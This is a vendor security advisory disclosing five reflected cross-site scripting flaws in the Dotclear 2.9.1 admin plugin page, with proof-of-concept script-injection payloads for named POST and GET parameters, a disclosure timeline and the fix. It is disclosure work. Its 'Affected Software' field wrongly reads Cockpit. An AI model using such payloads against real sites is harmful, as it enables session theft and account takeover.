Multiple Reflected Cross-site Scripting Vulnerabilities in Dotclear 2.9.1
Information
Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in Dotclear
Affected Software: Cockpit
Affected Versions: 2.9.1
Vendor Homepage: https://dotclear.org/
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-017
Technical Details
Proof of Concept URLs for XSS vulnerabilities in Dotclear;
URL: /dotcl/admin/plugin.php
Parameter Name: link_title
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000ED2)</scRipt>
URL: /dotcl/admin/plugin.php
Parameter Name: link_lang
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000EE0)</scRipt>
URL: /dotcl/admin/plugin.php?p=blogroll&edit=1&id=1&id='"--></style></scRipt><scRipt>alert(0x000DB7)</scRipt>
Parameter Name: id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000DB7)</scRipt>
URL: /dotcl/admin/plugin.php
Parameter Name: link_href
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000ED8)</scRipt>
URL: /dotcl/admin/plugin.php
Parameter Name: link_desc
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000EDE)</scRipt>
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
03 Aug 2016 – Issue reported
13 Aug 2016 – Vendor fixed
22 Sep 2016 – Advisory released
Solution
Download the latest version of Dotclear.
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
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